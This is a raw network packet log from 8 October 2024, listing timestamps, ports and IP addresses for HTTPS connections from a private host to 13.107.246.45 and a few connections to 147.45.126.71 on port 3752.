Oct 8, 2024 20:52:23.261367083 CEST	49836	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.261367083 CEST	49836	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.261414051 CEST	443	49836	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.261444092 CEST	443	49836	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.265765905 CEST	49840	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.265798092 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.266473055 CEST	49840	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.267613888 CEST	49840	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.267628908 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.294023991 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.294106960 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.294153929 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.294537067 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.294672012 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.295006990 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.295027018 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.295056105 CEST	49835	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.295063019 CEST	443	49835	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.297815084 CEST	49841	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.297863960 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.301429033 CEST	49841	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.302582026 CEST	49841	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.302604914 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.320718050 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.322221041 CEST	49838	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.322240114 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.322684050 CEST	49838	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.322689056 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.367543936 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.367585897 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.367640972 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.368676901 CEST	49837	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.369594097 CEST	49837	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.369620085 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.369638920 CEST	49837	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.369646072 CEST	443	49837	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.376147032 CEST	49842	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.376183033 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.379097939 CEST	49842	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.379446983 CEST	49842	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.379460096 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.433871984 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.433950901 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.442786932 CEST	49838	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.452903986 CEST	49838	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.452945948 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.452965021 CEST	49838	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.452972889 CEST	443	49838	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.460596085 CEST	49843	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.460632086 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.461479902 CEST	49843	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.462280035 CEST	49843	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.462296009 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.480314970 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.481688023 CEST	49839	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.481714964 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.482120991 CEST	49839	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.482126951 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.830213070 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.830239058 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.830291033 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.830391884 CEST	49839	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.830437899 CEST	49839	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.830714941 CEST	49839	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.830714941 CEST	49839	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.830749035 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.830774069 CEST	443	49839	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.834048033 CEST	49844	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.834078074 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:23.837405920 CEST	49844	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.838318110 CEST	49844	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:23.838342905 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.027569056 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.032052040 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.032548904 CEST	49841	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.032557964 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.033008099 CEST	49841	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.033011913 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.033044100 CEST	49840	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.033051014 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.033109903 CEST	49840	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.033113956 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.043517113 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.044037104 CEST	49842	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.044047117 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.044631958 CEST	49842	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.044636965 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.337426901 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.337455034 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.337497950 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.337721109 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.337771893 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.337871075 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.337930918 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.338119984 CEST	49841	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.338449955 CEST	49842	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.338645935 CEST	49841	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.338661909 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.338674068 CEST	49841	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.338677883 CEST	49840	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.338679075 CEST	443	49841	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.339602947 CEST	49840	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.339602947 CEST	49840	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.339610100 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.339617968 CEST	443	49840	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.340466022 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.341119051 CEST	49842	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.341125011 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.341134071 CEST	49842	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.341136932 CEST	443	49842	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.343139887 CEST	49843	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.343147993 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.343430996 CEST	49843	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.343436956 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.344791889 CEST	49845	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.344820976 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.345854998 CEST	49846	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.345863104 CEST	443	49846	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.346827030 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.346849918 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.351747036 CEST	49845	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.351747036 CEST	49846	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.352022886 CEST	49845	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.352035999 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.352114916 CEST	49846	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.352123976 CEST	443	49846	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.352209091 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.352240086 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.352248907 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.451663971 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.451689959 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.451747894 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.463001966 CEST	49843	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.463403940 CEST	49843	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.463404894 CEST	49843	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.463413954 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.463422060 CEST	443	49843	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.466095924 CEST	49848	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.466142893 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.469643116 CEST	49848	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.470184088 CEST	49848	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.470221996 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.533353090 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.534296036 CEST	49844	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.534313917 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.535124063 CEST	49844	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.535130024 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.634895086 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.635410070 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.635504961 CEST	49844	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.635786057 CEST	49844	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.635797977 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.635809898 CEST	49844	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.635814905 CEST	443	49844	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.638858080 CEST	49849	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.638895035 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:24.645874023 CEST	49849	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.646091938 CEST	49849	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:24.646106005 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.008991957 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.011113882 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.014148951 CEST	443	49846	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.015007019 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.015028000 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.015281916 CEST	49845	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.015309095 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.015408039 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.015419006 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.016535997 CEST	49845	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.016542912 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.017179012 CEST	49846	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.017184973 CEST	443	49846	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.017533064 CEST	49846	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.017537117 CEST	443	49846	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.107542992 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.109808922 CEST	49848	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.109827042 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.110178947 CEST	49848	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.110188007 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.114535093 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.114698887 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.115114927 CEST	443	49846	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.115140915 CEST	49845	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.115467072 CEST	49845	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.115484953 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.115497112 CEST	49845	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.115502119 CEST	443	49845	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.116826057 CEST	443	49846	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.117193937 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.117455006 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.117513895 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.118243933 CEST	49850	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.118262053 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.118290901 CEST	49846	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.118480921 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.118480921 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.118480921 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.118495941 CEST	49850	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.118762016 CEST	49850	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.118774891 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.121149063 CEST	49851	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.121191025 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.121376038 CEST	49851	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.121432066 CEST	49846	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.121444941 CEST	49846	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.121445894 CEST	443	49846	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.121450901 CEST	443	49846	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.122370005 CEST	49851	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.122392893 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.123883963 CEST	49852	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.123905897 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.124296904 CEST	49852	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.124722958 CEST	49852	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.124735117 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.206199884 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.206600904 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.210093021 CEST	49848	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.213118076 CEST	49848	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.213143110 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.213155985 CEST	49848	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.213160992 CEST	443	49848	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.229629993 CEST	49853	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.229651928 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.239759922 CEST	49853	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.240302086 CEST	49853	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.240319014 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.340724945 CEST	49847	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.340754986 CEST	443	49847	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.350949049 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.362690926 CEST	49849	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.362713099 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.363176107 CEST	49849	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.363181114 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.518668890 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.518721104 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.519109011 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.523453951 CEST	49849	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.656934977 CEST	49849	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.656964064 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.656980038 CEST	49849	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.656985998 CEST	443	49849	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.719482899 CEST	49854	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.719518900 CEST	443	49854	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.724061012 CEST	49854	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.725747108 CEST	49854	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.725764036 CEST	443	49854	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.745188951 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:25.750102997 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:25.750288010 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:25.750447035 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:25.755692959 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:25.810789108 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.811696053 CEST	49852	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.811731100 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.812146902 CEST	49852	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.812153101 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.832570076 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.833375931 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.851310968 CEST	49851	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.851327896 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.851455927 CEST	49850	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.851473093 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.851769924 CEST	49851	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.851778984 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.851862907 CEST	49850	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.851867914 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.927272081 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.927329063 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.927679062 CEST	49852	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.928071976 CEST	49852	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.928097010 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.928107977 CEST	49852	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.928113937 CEST	443	49852	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.930835009 CEST	49856	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.930879116 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.930968046 CEST	49856	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.931262016 CEST	49856	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.931274891 CEST	443	49856	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.946362972 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.946815014 CEST	49853	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.946863890 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.947249889 CEST	49853	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.947263002 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.949585915 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.949704885 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.949841976 CEST	49851	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.949923038 CEST	49851	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.949934959 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.949947119 CEST	49851	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.949951887 CEST	443	49851	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.952547073 CEST	49857	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.952574968 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.954011917 CEST	49857	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.954237938 CEST	49857	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.954252958 CEST	443	49857	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.957101107 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.957251072 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.958367109 CEST	49850	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.958455086 CEST	49850	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.958466053 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.958473921 CEST	49850	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.958477974 CEST	443	49850	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.961256981 CEST	49858	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.961267948 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:25.961396933 CEST	49858	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.961551905 CEST	49858	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:25.961564064 CEST	443	49858	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.068186045 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.068223953 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.068272114 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.068454027 CEST	49853	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.069071054 CEST	49853	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.069071054 CEST	49853	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.069088936 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.069098949 CEST	443	49853	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.071773052 CEST	49859	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.071820021 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.075727940 CEST	49859	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.076014042 CEST	49859	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.076035976 CEST	443	49859	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.380994081 CEST	443	49854	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.381449938 CEST	49854	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.381478071 CEST	443	49854	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.381897926 CEST	49854	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.381903887 CEST	443	49854	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.407859087 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.408478022 CEST	49855	3752	192.168.2.9	147.45.126.71
Oct 8, 2024 20:52:26.413597107 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:26.484462976 CEST	443	49854	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.485116959 CEST	443	49854	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:26.485905886 CEST	49854	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.486741066 CEST	49854	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:26.486759901 CEST	443	49854	13.107.246.45	192.168.2.9
